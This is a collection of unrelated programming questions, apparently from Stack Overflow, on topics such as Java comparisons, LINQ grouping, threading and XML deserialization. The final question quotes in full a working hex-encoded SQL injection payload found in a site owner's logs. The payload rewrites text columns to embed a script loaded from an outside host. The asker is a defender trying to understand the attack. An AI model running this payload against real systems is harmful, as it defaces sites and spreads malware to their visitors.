<pre><code>public class Person {
private String firstName;
private String lastName;
private String age;
/* Constructors */
/* Methods */
}
</code></pre>
<p>So in this example, when you ask if:</p>
<pre><code>a.compareTo(b) > 0
</code></pre>
<p>you might be asking if a's last name comes before b's, or if a is older than b, etc...</p>
<p>What is the cleanest way to enable multiple comparison between these kinds of objects without adding unnecessary clutter or overhead?</p>
<ul>
<li><code>java.lang.Comparable</code> interface allows comparison by one field only</li>
<li>Adding numerous compare methods (i.e. <code>compareByFirstName()</code>, <code>compareByAge()</code>, etc...) is cluttered in my opinion.</li>
</ul>
<p>So what is the best way to go about this?</p>

369,515 | <p>I have a weird issue that only seems to be affecting IE 7. The web site is a 3.5 c# asp.net website that utilizes ajax and the ajax control toolkit deployed to a win 2003 server. Everything appears to be correct in the web.config. In fact, everything works perfectly in IE6 and Firefox 3. It is only in IE7 that I get the dreaded sys is undefined error.</p>
<p>Also, the site appears to be working fine for IE7 on a different installation of the same code. That server is running win 2003 with very similar setups.</p>
<p>Since this appears to be a server issue, are there any kind of settings that would prevent ajax-enabled sites from displaying properly in IE7?</p>

369,519 | <p>Is it better to use NOT or to use <> when comparing values in VBScript?<br>
is this:</p>
<pre><code>
If NOT value1 = value2 Then
</code></pre>
<p>or this:</p>
<pre><code>
If value1 <> value2 Then
</code></pre>
<p>better?<br></p>
<p>EDIT:
Here is my counterargument. <br>
When looking to logically negate a Boolean value you would use the NOT operator, so this is correct:</p>
<pre><code>
If NOT boolValue1 Then
</code></pre>
<p>and when a comparison is made in the case of the first example a Boolean value is returned. either the values are equal True, or they are not False. So using the NOT operator would be appropriate, because you are logically negating a Boolean value. <br></p>
<p>For readability placing the comparison in parenthesis would probably help. </p>

369,558 | <p>I'm researching game development in Flash and Flex. I've downloaded the Flex Builder trial and have worked with older versions of Flash. I see that generally, Flex Builder is a developer's tool, and Flash is a designer's tool. It's not clear to me whether one is better suited to game development than the other, or if it's necessary to have both to effectively design games. To my mind, games are equal parts design/art and programming. Which tool is more commonly, or more intensively, used for game development?</p>

369,572 | <p>For some reason, when using two sums on a group by, i run into the error "invalid column name 'id'. When i only do one sum, it works as expected.</p>
<p>The following <strong>fails</strong> and throws the error:</p>
<pre><code>from pd in PrDetails.Where(_pd => _pd.PrId == 46)
group pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, pd.ProjectDetail.Wbs }
into g
select new
{
g.Key.ProgramFund,
g.Key.CostCenter,
g.Key.Wbs,
CommittedTotal = g.Sum(_pd => _pd.PrDetailPrAmounts.Sum(_pa => _pa.CommittedAmount)),
OverheadTotal = g.Sum(_pd => _pd.PrDetailPrAmounts.Sum(_pa => _pa.OverheadAmount))
}
</code></pre>
<p>However, the following <strong>does</strong> work fine:</p>
<pre><code>from pd in PrDetails.Where(_pd => _pd.PrId == 46)
group pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, pd.ProjectDetail.Wbs }
into g
select new
{
g.Key.ProgramFund,
g.Key.CostCenter,
g.Key.Wbs,
CommittedTotal = g.Sum(_pd => _pd.PrDetailPrAmounts.Sum(_pa => _pa.CommittedAmount))
}
</code></pre>
<p><strong>And also</strong>, when I get the overhead total, instead of the committed total, it works great:</p>
<pre><code>from pd in PrDetails.Where(_pd => _pd.PrId == 46)
group pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, pd.ProjectDetail.Wbs }
into g
select new
{
g.Key.ProgramFund,
g.Key.CostCenter,
g.Key.Wbs,
OverheadTotal = g.Sum(_pd => _pd.PrDetailPrAmounts.Sum(_pa => _pa.OverheadAmount))
}
</code></pre>
<p>Why can't i get the committed total and overhead total at the same time?</p>
<p>I have our basic table structure below:</p>
<h2>PrDetails</h2>
<p>Id (int)<br>
PrId (int)<br>
ProgramFund (linq class)<br>
ProjectDetail (linq class) </p>
<h2>ProjectDetails</h2>
<p>Id (int)<br>
CostCenter (linq class)<br>
Wbs (linq class) </p>
<h2>PrAmounts</h2>
<p>Id (int)<br>
PrDetailId (int)<br>
CommittedAmount (decimal)<br>
OverheadAmount (decimal)</p>

369,573 | <p>I have a strongly typed user control ("partial") and I'd like to be able to pass it some additional information from its containing view. For example, I have view that's bound to a product class and i have a partial that also is strongly typed to that same model, but I also need to pass an additional parameter for imageSize to my partial. I'd like to be able to do something like this:</p>
<pre><code><% Html.RenderPartial("_ProductImage", ViewData.Model, new { imageSize = 100 }); %>
</code></pre>
<p>As far as I know there is no way to do this, but I'm hoping that someone smarter than me may have a solution ;)</p>

369,594 | <p>I have a WebBrowser control which is being instantiated dynamically from a background STA thread because the parent thread is a BackgroundWorker and has lots of other things to do.</p>
<p>The problem is that the Navigated event never fires, unless I pop a MessageBox.Show() in the method that told it to .Navigate(). I shall explain:</p>
<pre><code>ThreadStart ts = new ThreadStart(GetLandingPageContent_ChildThread);
Thread t = new Thread(ts);
t.SetApartmentState(ApartmentState.STA);
t.Name = "Mailbox Processor";
t.Start();
protected void GetLandingPageContent_ChildThread()
{
WebBrowser wb = new WebBrowser();
wb.Navigated += new WebBrowserNavigatedEventHandler(wb_Navigated);
wb.Navigate(_url);
MessageBox.Show("W00t");
}
protected void wb_Navigated(object sender, WebBrowserNavigatedEventArgs e)
{
WebBrowser wb = (WebBrowser)sender; // Breakpoint
HtmlDocument hDoc = wb.Document;
}
</code></pre>
<p>This works fine; but the messagebox will get in the way since this is an automation app. When I remove the MessageBox.Show(), the WebBrowser.Navigated event never fires. I've tried supplanting this line with a Thread.Sleep(), and by suspending the parent thread.</p>
<p>Once I get this out of the way, I intend to Suspend the parent thread while the WebBrowser is doing its job and find some way of passing the resulting HTML back to the parent thread so it can continue with further logic.</p>
<p><em>Why does it do this? How can I fix it?</em></p>
<p>If someone can provide me with a way to fetch the content of a web page, fill out some data, and return the content of the page on the other side of the submit button, all against a webserver that doesn't support POST verbs nor passing data via QueryString, I'll also accept that answer as this whole exercise will have been unneccessary.</p>
<hr>
<p><strong>Solution:</strong> I ended up just not using the BackgroundWorker and slave thread at all at the suggestion of the team architect... Though at the expense of responsiveness :(</p>

<p>What is the equivalent of <code>PageMethods.MyFunction()</code> in MVC where MyFunction is a Controller action?</p>
<p>I know I can use the <code>Json</code> function to return a value, but how do I call the action from the client?</p>

369,626 | <p>I'm in a situation where I have the class "progress" - trouble is that I'm interested in incorporating some open source that also has the class "progress". I remember very vaguely some reference to an app that's able to inspect the various files in a development for a given class name ... and either return it ... or change it. Have you experience of this?</p>
<p>thanks</p>

369,636 | <p>I have a <a href="http://en.wikipedia.org/wiki/Pseudorandom_number_generator" rel="nofollow noreferrer">pseudorandom number generator</a> (PRNG) with nice properties which uses six <code>UInt32</code>s as state. I need to come up with a reasonable way to seed it. Two obvious possibilities are: 1) generate six random numbers using <code>System.Random</code> and use them as seeds; 2) generate two <code>GUID</code>s with <code>Guid.NewGuid()</code>. Which would be better?</p>
<p>I do <em>not</em> need cryptographic security.</p>

369,637 | <p>is there an easy way of importing data from a mysql/odbc datasource into an excel spreadsheet? </p>
<p>The user should be able to select some values from drop downs (e..g date range, branch name etc.) and the values from the dropdown should be used to populate (prepared) SQL statements. The results should be displayed in the Excel file. </p>
<p>Ideally there would be a "save snapshot" menu item that would convert the dynamic excel file (with sql statements saved) as a static excel file thus reducing the exposure of internals (e.g. sql) to external ressources.</p>
<p>Thanks</p>

369,678 | <p>I'm looking for a reliable design for handling assignments that have asynchronous requests involved. To further clarify, I have a class which handles Data Management. It is a singleton and contains a lot of top level data for me which is used throughout my iPhone application.</p>
<p>A view controller might do something such as the following:</p>
<pre><code>users = [MySingleton sharedInstance].users;
</code></pre>
<p>MySingleton will then override the synthesized users getter and see if it is set. If it is not set, it will speak to a Connection Manager (a wrapper for NSURLConnection and its delegate methods) which fires off an asynchronous request, and this is where problems begin. I cannot guarantee when "users" will be available. I could change the request to synchronous, but that will directly effect user experience, especially in a mobile environment where bandwidth is limited already.</p>
<p>I need to be able to at some point, have some kind of locking/synchronization code going on in my getter that doesn't return users until it is available or is nil. </p>
<p>Once the NSURLConnection has the data available, it needs to callback something/somewhere with a response object and let the getter know the data is available.. whether it's failed or succeeded.</p>
<p>Any suggestions on handling this?</p>

369,702 | <p>What is the best way to create a DataTable with the same structure as a table in my SqlServer database? At present, I am using SqlDataAdapter.Fill() with a query that brings back the columns but no rows. That's works fine, but it seems klutzy. </p>
<p>Is there a better way?</p>

369,755 | <p>My users will import through cut and paste a large string that will contain company names. </p>
<p>I have an existing and growing MYSQL database of companies names, each with a unique company_id.</p>
<p>I want to be able to parse through the string and assign to each of the user-inputed company names a fuzzy match.</p>
<p>Right now, just doing a straight-up string match, is also slow. ** Will Soundex indexing be faster? How can I give the user some options as they are typing? **</p>
<p>For example, someone writes:</p>
<pre>
Microsoft -> Microsoft
Bare Essentials -> Bare Escentuals
Polycom, Inc. -> Polycom
</pre>
<p>I have found the following threads that seem similar to this question, but the poster has not approved and I'm not sure if their use-case is applicable:</p>

369,758 | <p>I have a shell script with this code:</p>
<pre><code>var=`hg st -R "$path"`
if [ -n "$var" ]; then
echo $var
fi
</code></pre>
<p>But the conditional code always executes, because <code>hg st</code> always prints at least one newline character.</p>
<ul>
<li>Is there a simple way to strip whitespace from <code>$var</code> (like <code>trim()</code> in <a href="http://en.wikipedia.org/wiki/PHP" rel="noreferrer">PHP</a>)?</li>
</ul>
<p>or</p>
<ul>
<li>Is there a standard way of dealing with this issue?</li>
</ul>
<p>I could use <a href="http://en.wikipedia.org/wiki/Sed" rel="noreferrer">sed</a> or <a href="http://en.wikipedia.org/wiki/AWK" rel="noreferrer">AWK</a>, but I'd like to think there is a more elegant solution to this problem.</p>

369,760 | <p>I googled for this for a while but can't seem to find it and it should be easy. I want to append a CR to then end of an XML file that I am creating with a Transformer. Is there a way to do this></p>
<p>I tried the following but this resulted in a blank file?</p>
<pre><code>
Transformer xformer = TransformerFactory.newInstance().newTransformer();
xformer.setOutputProperty(OutputKeys.DOCTYPE_SYSTEM, "file:///ReportWiz.dtd");
xformer.transform(source, result);
OutputStream writer = new FileOutputStream(file);
Byte b = '\n';
writer.write(b);
writer.close();</code></pre>

369,762 | <p>I learned that by trying to use the tablesorter plug in from jquery the table needs to use the < thead> and<br>
< tbody> tags. I am using an html table, and I use the runat="server" attribute because I need to bind data to the table on the server side. but by using the runat= server attribute the code is rendered in a different way..instead of the view source looking like this which is what is in my markup view :</p>
<pre><code><table id="Table">
<thead>
<tr> <th>1st</th> <th>2nd</th> <th>3rd</th> </tr>
</thead>
<tbody>

369,777 | <p>I've have searched on this and it seems to be a catch all, unfortunately everything I've read doesn't help figure it out. Here is the class:</p>
<pre><code>public interface IMockInterface
{
MockClass MockedMethod();
MockClass MockThis();
}
public class MockClass : IMockInterface
{
public virtual MockClass MockedMethod()
{
MockClass returnValue;
returnValue = new MockClass();
returnValue.SomeMessage = "Not mocked";
return returnValue;
}
public MockClass MockThis()
{
MockClass mock;
MockClass returnValue;
mock = new MockClass();
return mock.MockedMethod();
}
}
</code></pre>
<p>And the test:</p>
<pre><code>public void MockTest_Internal()
{
MockClass mainClass;
MockClass returnedClass;
IMockInterface mockProvider;
mainClass = new MockClass();
mockProvider = repository.StrictMock<IMockInterface>();
Expect.Call(mockProvider.MockedMethod())
.Return(new MockClass { SomeMessage = "Mocked" });
repository.ReplayAll();
returnedClass = mainClass.MockThis();
provider.AssertWasCalled(item => item.MockedMethod());
Assert.IsTrue(returnedClass.SomeMessage == "Mocked");
}
</code></pre>
<p><strong>And have also tried and doesn't work</strong></p>
<p>But I keep getting this exception:</p>
<p>Rhino.Mocks.Exceptions.ExpectationViolationException:<br>
IMockInterface.MockedMethod(); Expected #1, Actual #0</p>
<p>Now from what I've read this would suggest either the method was called with different than expected parameters OR the method was never called but was expected to be called. This isn't the case for the test.</p>
<p>Side Note: This is my first time really using Rhino.Mocks without some in house code so I am basically picking it up as I go. There could be something really stupid here...</p>
<p><strong>This was the old test commented on, but is not what I should have been using:</strong></p>
<pre><code>public void MockTest_Internal()
{
MockClass mainClass;
MockClass returnedClass;
IMockInterface mockProvider;
mainClass = new MockClass();
var provider = MockRepository.GenerateStub<IMockInterface>();
provider.Stub(item => item.MockedMethod())
.Return(new MockClass { SomeMessage = "Mocked" });
returnedClass = mainClass.MockThis();
provider.AssertWasCalled(item => item.MockedMethod());
Assert.IsTrue(returnedClass.SomeMessage == "Mocked");
}

369,788 | <p>I created a simple dialog-based application, and in the default CDialog added three buttons (by drag-and-dropping them) using the Visual Studio editor. </p>
<p>The default OK and Cancel buttons are there too.</p>
<p>I want to set the focus to button 1 when I click button 3.</p>
<p>I set the property Flat to true in the properties for muy buttons.</p>
<p>I coded this:</p>
<pre><code>void CbuttonfocusDlg::OnBnClickedButton3()
{
// TODO: Add your control notification handler code here
GetDlgItem(IDC_BUTTON1)->SetFocus();
Invalidate();
}
</code></pre>
<p>But the boder in button1 is never drawn. The caret (the dotted line indicating focus) is only drawn if I pressed TAB any time before clicking button 3. </p>
<p>I want the button to look exactly as it looks after I click it. Showing the dotted line inside the button programatically, would be a plus.</p>

369,790 | <p>I am creating a little testing component and am running into a problem</p>
<p>Basically the component is a decorator on a class that controls all access to the database, it creates a form with a two buttons on it: "Simulate Lost Connection" and "Reconnect". Press the button, and instead of letting function calls pass through the wrapper starts throwing NoConnectionException()s nice and simple, and real helpful for testing.</p>
<p>The problem is that this particular application when it detects a lost connection raises a modal dialog box "connection lost!" that sits there until the connection is regained. Because it is modal I cannot press my nifty button to simulate regained connectivity.</p>
<p>What I need to do therefore is to run my little testing form in a different thread. I'm not absolutely sure how to do that. I tried</p>
<pre><code>new Thread(
new ThreadStart(
(Action)delegate {_form.Start();}
)
).Start();
</code></pre>
<p>But the thread closes as soon as the method returns so the form never shows up except for an instant.</p>
<p>Any idea how I go about achieving what I want?</p>

369,792 | <p>Here's a fictitious example of the problem I'm trying to solve. If I'm working in C#, and have XML like this:</p>
<pre><code><?xml version="1.0" encoding="utf-8"?>
<Cars>
<Car>
<StockNumber>1020</StockNumber>
<Make>Nissan</Make>
<Model>Sentra</Model>
</Car>
<Car>
<StockNumber>1010</StockNumber>
<Make>Toyota</Make>
<Model>Corolla</Model>
</Car>
<SalesPerson>
<Company>Acme Sales</Company>
<Position>
<Salary>
<Amount>1000</Amount>
<Unit>Dollars</Unit>
... and on... and on....
</SalesPerson>
</Cars>
</code></pre>
<p>the XML inside SalesPerson can be very long, megabytes in size. I want to deserialize the tag, <strong>but</strong> not deserialize the SalesPerson XML element instead keeping it in raw form "for later on".</p>
<p>Essentially I would like to be able to use this as a Objects representation of the XML.</p>
<pre><code>[System.Xml.Serialization.XmlRootAttribute("Cars", Namespace = "", IsNullable = false)]
public class Cars
{
[XmlArrayItem(typeof(Car))]
public Car[] Car { get; set; }
public Stream SalesPerson { get; set; }
}
public class Car
{
[System.Xml.Serialization.XmlElementAttribute("StockNumber")]
public string StockNumber{ get; set; }
[System.Xml.Serialization.XmlElementAttribute("Make")]
public string Make{ get; set; }
[System.Xml.Serialization.XmlElementAttribute("Model")]
public string Model{ get; set; }
}
</code></pre>
<p>where the SalesPerson property on the Cars object would contain a stream with the raw xml that is within the <SalesPerson> xml element after being run through an XmlSerializer.</p>
<p>Can this be done? Can I choose to only deserialize "part of" an xml document?</p>
<p>Thanks!

369,856 | <p>For example, I have a pet table and a lost pets table. I want to get all of the pets that are NOT lost with 1 join and no sub-selects. Is that possible? A typical join only returns results that are in both tables.</p>

369,862 | <p>I recently purchased a 2D Barcode reader. When scanning a U.P.S. barcode, I get about half of the information I want, and about half of it looks to be encrypted in some way. I have heard there is a UPS DLL.</p>
<p>Example - Everything in bold seems to be encrypted, while the non-bold text contains valuable, legitimate data. </p>
<p>[)>01961163522424800031Z50978063UPSN12312307G:%"6*AH537&M9&QXP2E:)16(E&539R'64O</p>
<p>In other words, this text seems OK - and I can parse the information
[)>01961163522424800031Z50978063UPSN123123 ...</p>
<p>While, this data seems to be encrypted
... 07G:%"6*AH537&M9&QXP2E:)16(E&539R'64O</p>
<p>Any Ideas???</p>
<hr>
<p>Everything I read on the internet says I should be able to read this thing. I'm just not finding any information on specifics. The "encrypted" info contains street address, package number (like 1/2), weight, and several other items Im dying to get my hands on. I suppose I will contact UPS directly. Thanks.</p>

369,889 | <p>The GUI for managing plugins in Eclipse got a bit of an overhaul in version 3.4.0.
This GUI is accessed via the "Software Updates..." option in the Help menu.</p>
<p>The option to remove the selected Mylyn plugin is greyed out. In fact, this is true of virtually every installed plugin. I know that the Mylyn plugins are optional, so why amn't I provided with an option to remove them?</p>

369,908 | <p>I have a database which gets updated with 200-1000 new rows per day. Now, I'd like to have an SQL-statement which returns the data day-by-day, hour-by-hour so I can give a rough estimate for the current trend, i.e. how many rows will be added to the database today, just by taking a quick look at those historical graphs.</p>
<p>So, say that I would like to have 10 graphs printed out for the last 10 days, with the data summed up for every hour, like:</p>
<p>Day9:21,24,15,18,...,30,28,25 : tot 348 (number of rows per hour for day 9 and the total)
Day8:32,37,38,43,...,45,55,65 : tot 442 (number of rows per hour for day 8 and the total)
...
...
Day0:18,25,28,X,Y... : tot 'S' (stats for today so far. What will S be?)</p>
<p>How would the SQL-statement look like to collect the data in this day-by-day, hour-for-hour fashion?</p>
<p>Instead of looking at the graps visually in order to give a rough estimate of today's total 'S', even better would be to compute a prediction of 'S'. But that would be a completely other problem I guess... Any tips for how to do that or hints where I can get more information would be much appreciated!</p>
<p>Thanks,
/Tommy</p>

369,948 | <p>I am working through some of the exercises in The C++ Programming Language by Bjarne Stroustrup. I am confused by problem 11 at the end of Chapter 12:</p>
<blockquote>(*5) Design and implement a library for writing event-driven simulations. Hint: <task.h>. ... An object of class task should be able to save its state and to have that state restored so that it can operate as a coroutine. Specific tasks can be defined as objects of classes derived from task. The program to be executed by a task might be defined as a virtual function. ... There should be a scheduler implementing a concept of virtual time. ... The tasks will need to communicate. Design a class queue for that. ...</blockquote>
<p>I am not sure exactly what this is asking for. Is a task a separate thread? (As far as I know it is not possible to create a new thread without system calls, and since this is a book about C++ I do not believe that is the intent.) Without interrupts, how is it possible to start and stop a running function? I assume this would involve busy waiting (which is to say, continually loop and check a condition) although I cannot see how that could be applied to a function that might not terminate for some time (if it contains an infinite loop, for example).</p>
<p><strong>EDIT:</strong> Please see my post below with more information.</p>

369,971 | <p>Let's pretend I have the following xaml...</p>
<p></p>
<pre><code><UserControl.Resources>
<local:ViewModel x:Name="viewModel" />
<local:LoadChildrenValueConverter x:Name="valueConverter" />
</UserControl.Resources>
<UserControl.DataContext>

<control:HierarchicalDataTemplate ItemsSource="{Binding Converter={StaticResource valueConverter}}">
<TextBlock Text="{Binding}" />
</control:HierarchicalDataTemplate>
</control:TreeView.ItemTemplate>
</control:TreeView>
</Grid>
</code></pre>
<p></p>
<p>...and the following code to go with it...</p>
<pre>
using System;
using System.Collections.ObjectModel;
using System.Windows.Data;
namespace SilverlightViewModelSpike
{
public class ViewModel
{
public ViewModel()
{
Root = new ObservableCollection() { "Item 1", "Item 2", "Item 3", };
}
public ObservableCollection Root { get; private set; }
}
public class LoadChildrenValueConverter : IValueConverter
{
public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)
{
return new ObservableCollection() { "Item 1", "Item 2", "Item 3", };
}
public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)
{
throw new NotImplementedException();
}
}
}
</pre>
<p>This works as expected, but it feels wrong that I have two separate classes that are required in order to grab the needed data for my view (imagine that ViewModel and LoadChildrenValueConverter pulled data from a web service instead of returning hard coded data). Is there a better solution here? I was thinking maybe something like this...</p>
<pre>
using System;
using System.Collections.ObjectModel;
using System.Windows.Data;
namespace SilverlightViewModelSpike
{
public class ViewModel
{
public ViewModel()
{
Root = new ObservableCollection() { "Item 1", "Item 2", "Item 3", };
ValueConverter = new LoadChildrenValueConverter();
}
public ObservableCollection Root { get; private set; }
public LoadChildrenValueConverter ValueConverter { get; private set; }
}
public class LoadChildrenValueConverter : IValueConverter
{
public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)
{
return new ObservableCollection() { "Item 1", "Item 2", "Item 3", };
}
public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)
{
throw new NotImplementedException();
}
}
}
</pre>
<p>... but then i can't get this line to work...</p>
<p><code><control:HierarchicalDataTemplate ItemsSource="{???}"</code>></p>
<p>...and even that doesn't seem like a great solution. Does anyone have a nice clean solution for this?</p>

<p>I have seen this SQL injection attempt on my site many times in the last few months. </p>
<pre><code>';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

<p>After going through my code, I'm sure I'm protected because I query against an in-memory dataset rather than the database itself. However, even though I'm sure I'm protected, I don't fully understand what's going on with this attack attempt and would like to figure it out so I can avoid writing code in the future that may be vulnerable to it.</p>
<p>Can anyone explain to me what these hackers are attempting to do with this code?</p>
<p>Thanks.</p>
<p>-This code is getting appended to the query string as well as getting sent as post data.</p>
